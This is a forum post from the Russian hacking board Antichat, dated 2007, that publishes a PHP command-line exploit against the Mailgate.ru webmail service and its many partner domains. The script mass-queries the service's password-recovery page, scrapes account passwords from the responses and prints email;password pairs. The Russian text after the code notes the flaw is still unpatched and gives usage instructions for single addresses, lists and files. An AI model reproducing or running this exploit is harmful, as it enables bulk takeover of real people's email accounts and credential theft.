Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   E-Mail (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   CLI Mass Mailgate Retrieve Exploit (https://forum.antichat.xyz/showthread.php?t=45893)

ak[id] 02.08.2007 15:49

CLI Mass Mailgate Retrieve Exploit
 
Код:

#!/usr/bin/php -q

<?php

###########################################################
#            CLI Mass Mailgate Retrieve Exploit          #
###########################################################
#                  K0dsweb Security Team                  #
#                  http://www.kodsweb.ru                  #
#                      (c) x4matted                      #
###########################################################
# avaliable domains:    mailgate.ru,  pobox.ru,  lenta.ru #
# netcity.ru, nc.ru,  netaddress.ru, pechkin.ru, nekto.ru #
# newarbat.net,  presnya.net, tverskoe.net,  tverskie.net #
# dmitrovka.net, lianozovo.net, marfino.net, sviblovo.net #
# kosino.net, novokosino.net, novogireevo.net, perovo.net #
# sokolniki.net, vyhino.net,  kuzminki.net, lefortovo.net #
# konkovo.net,  butovo.net,  vnukovo.net,  ochakovo.net #
# music.mailgate.ru,  tushino.net,  takoe.net,  takoe.com #
# nekto.net,  nekto.com, uzhe.net, trjam.net,  mozhno.net #
# menja.net, eshche.net,sovsem.net,iwoman.ru, sigaret.net #
# shellov.net,  standalone.net, zdorovja.net,  viwanet.ru #
# ipex.ru,mailserver.ru,msx.ru,marry.ru,samiznaetekogo.net#
###########################################################

echo "[-CLI Mass Mailgate Retrieve Sploit-]\n".
    "[----------by-x4matted-(c)----------]\n".
    "[---------http://kodsweb.ru---------]\n\n".
    "Usage: [path_to_php]\php.exe mailgate.php\n".
    "      -m [ mail@mailgate.ru | [1@mailgate.ru,2@mailgate.ru] ]\n".
    "      -s source.txt ]\n\n";

set_time_limit(0);

# assignment of arguments to the massive $options
$args = ($_SERVER['argv']);

for ($i = 0; $i < count($args); $i++) {
    if (substr($args[$i], 0, 1) == "-") {
        if(isset($args[$i+1])) {
            $options[substr($args[$i], 1)] = $args[$i+1];
        } else {
            $options[substr($args[$i], 1)] = "";
        }
    $i++;
    }
}

if(!isset($options['m']) && !isset($options['s'])) {
    echo "No arguments are entered, or arguments are incorrect. Aborting...\n";
    exit;
}

# mail check function
function chkmail($login, $domain) {
    if(empty($login) || empty($domain)) {
        echo "Input mail format is incorrect. Aborting...\n";
        exit;
    }
    $login = trim($login);
    $domain = trim($domain);

    $host = "www.mailgate.ru";
    $port = 80;
    $request = "GET /recovery/question/?email=".$login."%40".$domain."&answer= HTTP/1.1\n";
    $request.= "Host: ".$host."\n";
    $request.= "Connection: Close\n\n";

    $socket = fsockopen($host, $port);
    if ($socket) {
        fwrite($socket, $request);
        while(!feof($socket)) {
            $file[] = fgets($socket);
        }
    } else {
        die($errno.":\n".$errstr);
    }
    fclose($socket);

    foreach($file as $str) {
        $pwdstr = strstr($str, "<i>");
        $pass = strtok($pwdstr, "</i>");
        if ($pass) {
            $pwd = $pass;
        }
        $qastr = strstr($str, "<td><br /><br /><center><b>");
        if ($qastr) {
            $qa = true;
        }
    }
    if (isset($pwd)) {
        $status = $login."@".$domain.";".$pwd;
    } elseif (isset($qa)) {
        $status = $login."@".$domain." q/a setted";
    } else {
        $status = $login."@".$domain." not found";
    }

    return $status;
}

# exploiting

if (isset($options['m'])) {
    if($options['m'] == "") {
        echo "No mails are entered. Aborting...\n";
        exit;
    } else {
        if(substr($options['m'], 0, 1) == "[" && substr(strrev($options['m']), 0, 1) == "]") {
            $options['m'] = explode(",", substr(strrev(substr(strrev($options['m']), 1)), 1));
        } else {
            $options['m'] = array($options['m']);
        }
        foreach($options['m'] as $mail) {
            list($login, $domain) = explode("@", $mail);
            echo chkmail($login, $domain)."\n";
        }
    }
} elseif (isset($options['s'])) {
    if($options['s'] == "") {
        echo "No source file is entered. Aborting...\n";
        exit;
    } else {
        if(!file_exists(trim($options['s']))) {
            echo "File ".$options['s']." not found. Aborting...\n";
            exit;
        } elseif(filesize(trim($options['s'])) == 0) {
            echo "File ".$options['s']." is empty. Aborting...\n";
            exit;
        } else {
            $options['s'] = file($options['s']);
   
            for($i=0; $i<count($options['s']); $i++) {
                list($login, $domain) = explode("@", $options['s'][$i]);
                $rezult[] = chkmail($login, $domain)."\n";
                echo "\r[";
                for ($ii=0; $ii < round(($i+1)/count($options['s'])*50); $ii++) {
                    echo "=";
                }
                if (50-round(($i+1)/count($options['s'])*50)) {
                    echo ">";
                }
                for ($ii=0; $ii < (49-round(($i+1)/count($options['s'])*50)); $ii++) {
                    echo " ";
                }
                if (round(($i+1)/count($options['s'])*100) < 10) {
                    echo "]  ".round(($i+1)/count($options['s'])*100)."%";
                } elseif (round(($i+1)/count($options['s'])*100) == 100) {
                    echo "] ".round(($i+1)/count($options['s'])*100)."%";
                } else {
                    echo "]  ".round(($i+1)/count($options['s'])*100)."%";
                }
            }
            echo "\n\n";
   
            foreach($rezult as $str) {
                echo $str;
            }
        }
    }
}

?>

Т.к. уязвимость в почтовом сервисе Mailgate.ru ещё присутствует, то обновляем (окночательно ;) ) эксплоит. Уязвимость позволяет узнать пароль от почтового аккаунта, если на нем не установлены секретные вопрос/ответ. Эксплоит позволяет указывать единственный почтовый адрес, несколько и файл, содержащий список адресов.
Для работы эксплоита необходим PHP интерпретатор, установленный на компьютере.
Запускается эксплоит из командной строки - [path_to_php]\php.exe mailgate.php
и может иметь 1 из 2 возможных параметров: -m - указание адресов в качестве параметров запуска эксплоита. Если вы хотите указать несколько адресов, то в начале и в конце поставьте открывающую и закрывающую квадратные скобки соответственно. Адреса разделите запятыми.
-s - файл, содержащий список почтовых адресов.
Примеры:
mailgate.php -m admin@mailgate.ru
mailgate.php -m [1@mailgate.ru,2@mailgate.ru,3@mailgate.ru]
mailgate.php -s source.txt


Время: 14:08